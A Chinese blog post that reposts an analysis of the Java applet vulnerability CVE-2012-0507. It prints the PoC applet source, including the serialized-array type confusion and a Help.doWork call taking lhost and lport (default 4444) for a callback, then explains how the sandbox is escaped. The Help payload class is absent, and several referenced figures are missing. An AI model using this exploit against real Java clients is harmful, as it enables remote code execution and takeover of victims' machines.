CVE 2012 0507 Java

 

公司的电脑升级 OpenJDK 8, 所以从 RedHet 官网下载了一个最新的版本, 结果被 Windows 扫描到有 CVE-2012-0507, 还因此禁用了我的网络连接. 那么什么是 CVE-2012-0507 漏洞呢?

以下是转载的内容.

这里就是 java 的 cve 2012 0507 的 poc 所在了,大部分网上流传的基本上都基于这里,而且大家要注意这个poc的攻击模块并没有在其中写出来,所以直接运行是没有结果的。

0x01

CVE-2012-0507 (Java)

package a;

import java.applet.Applet;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.concurrent.atomic.AtomicReferenceArray;
import a.*;

// Referenced classes of package a:
//     Help

public class Exploit extends Applet
{

 public Exploit()
 {
 }

 public static byte[] StringToBytes(String s)
 {
  byte abyte0[] = new byte[s.length() / 2];
  for(int i = 0; i < s.length(); i += 2)
   abyte0[i / 2] = (byte)((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));

  return abyte0;
 }

 public void init()
 {
  try
  {
   String as[] = {
    "ACED0005757200135B4C6A6176612E6C616E672E4F62", "6A6563743B90CE589F1073296C020000787000000002", "757200095B4C612E48656C703BFE2C941188B6E5FF02", "000078700000000170737200306A6176612E7574696C", "2E636F6E63757272656E742E61746F6D69632E41746F", "6D69635265666572656E63654172726179A9D2DEA1BE", "65600C0200015B000561727261797400135B4C6A6176", "612F6C616E672F4F626A6563743B787071007E0003" 
   };
   StringBuilder stringbuilder = new StringBuilder();
   for(int i = 0; i < as.length; i++)
    stringbuilder.append(as[i]);

   ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString())));
   Object aobj[] = (Object[])(Object[])objectinputstream.readObject();
   Help ahelp[] = (Help[])(Help[])aobj[0];
   AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1];
   ClassLoader classloader = getClass().getClassLoader();
   atomicreferencearray.set(0, classloader);
   Help _tmp = ahelp[0];
   
   String data  = getParameter( "data" );
   String jar   = getParameter( "jar" );
   String lhost = getParameter( "lhost" );
   String lport = getParameter( "lport" ); 
   System.out.println("go go go");
   Help.doWork(ahelp[0], this, data, jar, lhost, ( lport == null ? 4444 : Integer.parseInt( lport ) ));
  }
  catch(Exception exception) { 
   System.out.println(exception.getMessage());
  }
 }
}

0x02

这个poc之所以出名估计和inbreak的七次打新浪云关系很大,当然这个poc也引发了一波网上的java挂马热潮。其实在一般应用中,大部分人都意识不到java存在一个Security Manager 的保护机制,在实际使用中,我们无论在写jsp还是java的本地软件时,很少有人会去配置这个Security Manager,(ps:我反正没见过….),这个保护机制的原理其实很简单,搞java的都知道java以前搞过一个applet的东西,虽然现在已经没落了,但是它里面和这个保护机制关系就很大,试想下,applet是运行在客户的浏览器上的,如果applet里面实现了大量的敏感功能,岂不是用户的信息都被偷完了么,当然sun公司也想到了这点,所以Security Manager就正好可以对抗你,说白了Security Manager就是检查一个权限的白名单(java.policy),它规定了你这个java程序,只能在我白名单限制的权限内运行。而applet默认就存在这样一个非常严格权限的policy,这样applet程序就不要想在用户的机子上去调用exec之类的敏感函数了。

0x03

当然除了applet中用到了这个功能外,新浪云也用到了这个安全机制,很简单的原因他要保证他的java云只有适当的权限,最主要的是每个用户间要保持隔离,这里使用Security Manager将会是非常合适的技术(ps:虽然用的不好,被inbreak各种攻破…)

0x04

具体的Security Manager,网上很多,我就针对这个poc说下吧,首先测试这个poc,就需要和平时不太一样的方式,项目导入到eclipse后,运行时,需要开启Security Manager这个功能才可以,方法如下

VM arguments中就是开启命令,其中policy.txt即权限文件,放到你的main函数所在类的目录下面,而最后的msf.x.Test则是Main函数所在类的全路径,同样注意修改working directory。

0x05

这段poc中的java代码都非常好懂,但是在开始处通过一个

As数组来生成了一个关键的object数组,从而带来了后面的一连串关键操作,那么这段字符串是什么,为什么要这样写,就成为了很多人的疑问。

0x06

首先解释下这段字符串通过objectinputstream转化成了一个object数组具体如下

可以看到这个数组只有两个元素

Object[0]=Help[1] 是一个只有一个元素的Help类型数组,我们记作a

Object[1]= AtomicReferenceArray,而AtomicReferenceArray的array则指向了Help 数组a

这里大家肯定会有疑问为什么要这样设计,而不能我去用代码创建这么个数组,看着也不难创建么。

这段代码看似好像也没问题,但是我们在运行后会发现一个大问题

和前面的poc产生的数组一对照发现AtomicReferenceArray中的array指向不一样了,这里实际上就是关键所在了,在后面的poc中的关键方法里面必须要求AtomicReferenceArray中的array必须指向Help数组才可以实现成功的越权。

0x07

那么通过查看AtomicReferenceArray的源代码我们可以发现

在AtomicReferenceArray中array是一个private的类型,

而且通过AtomicReferenceArray初始方法初始时,实际上上是新建了了一个object数组,这样与要求不符。所以我们要想指向Help数组,就需要使用反射机制才可以

这样子才可以成功的创建出

这样的结构,但是因为创建这样的数组会用到反射机制去修改私有变量,那么必然在secure manager的禁止范围内,所以必须在正常情况下通过objectOutputStream写入到文件里面去,然后在低权限情况下利用objectinputstream来读取创建出来,规避掉反射的问题。

0x08

这下这段字符串的来历就很清楚了,下来就是最关键的几行代码了,他巧妙的实现了偷天换日

这里的大部分代码加上上面对arrayOfObject的解释就很好理解了,这里需要注意的一点是,Help 类的定义必须是 public class Help extends ClassLoader implements Serializable

这里的 Serializable 是用来进行序列化的,实质就是保证了他可以 object read 和 write,只有这样才能把 Help 数组直接输出成字符串,并从字符串把它直接读回到 object 状态。

ClassLoader 则是实现越权的关键。

这个方法就是 ClassLoader 实现越权的关键,他可以重定义一个类的权限,但是这个方法最致命的地方在于它是protected 的,这意味着他只能被同一个包下面的类调用或者它的子类调用。

而 ClassLoader 最大的问题是,在严格限制的低权限环境中肯定是不允许你创建他的子类的实例的,而通过 getClass.getClassLoader 则虽然可以得到当前类的 ClassLoader,但是由于这个一般都是系统类,和我们不在同一个包下面,无法去调用这个 protected 的 defineClass 方法。

这个poc的解决就在于下面

这里最关键的就是 localAtomicReferenceArray.set(0, localClassLoader); ,这句代码的执行完,

结构变成了这个样子,可以看到出现了一个实际上不可能和不应该出现的情况,

Help[0]实际指向了Launcher$AppClassLoader,理论上绝对不应该相等的两个类。这两个类唯一的共同点就是有一个共同的父类ClassLoader。

0x09

深入分析localAtomicReferenceArray.set(0, localClassLoader),

这里调用了个import sun.misc.Unsafe;光从名字来看,估计就可以猜到这个方法不太安全,实际上这里的赋值可能并没有去检查类型,就直接赋值了,从而导致了上面说的不合理现象的发生。当然java本身这样写的原因我估计是他觉得这个array是个object,不会出现类型不匹配的情况,Object类型是java中所有类的父类么,但是这里联系到0x06中所说的巧妙利用反射修改了这个array的实际指向,从而导致了这个赋值的错误。

0x10

分析到这里,其实核心就已经完了,得到了一个可以自由使用的ClassLoader则意味着可以随意调用defineClass方法,到这里这个poc的精华差不多了。利用这个Help[0],去defineClass,在这里系统会认为Help[0]是一个实际存在的Help对象,那么他的defineClass方法调用就是合法的,而实际上Help[0]实质是Launcher$AppClassLoader,实际调用的是它的defineClass

0x11

剩下的代码没什么好说的了。。。。那么我们通过这个poc可以发现一个java的体系漏洞,就是去找找java代码中调用了unsafe方法的地方,只要我们可以控制这个unsafe的参数,那么类似的漏洞还是有可能找到的

原文链接:CVE 2012 0507 分析

EOF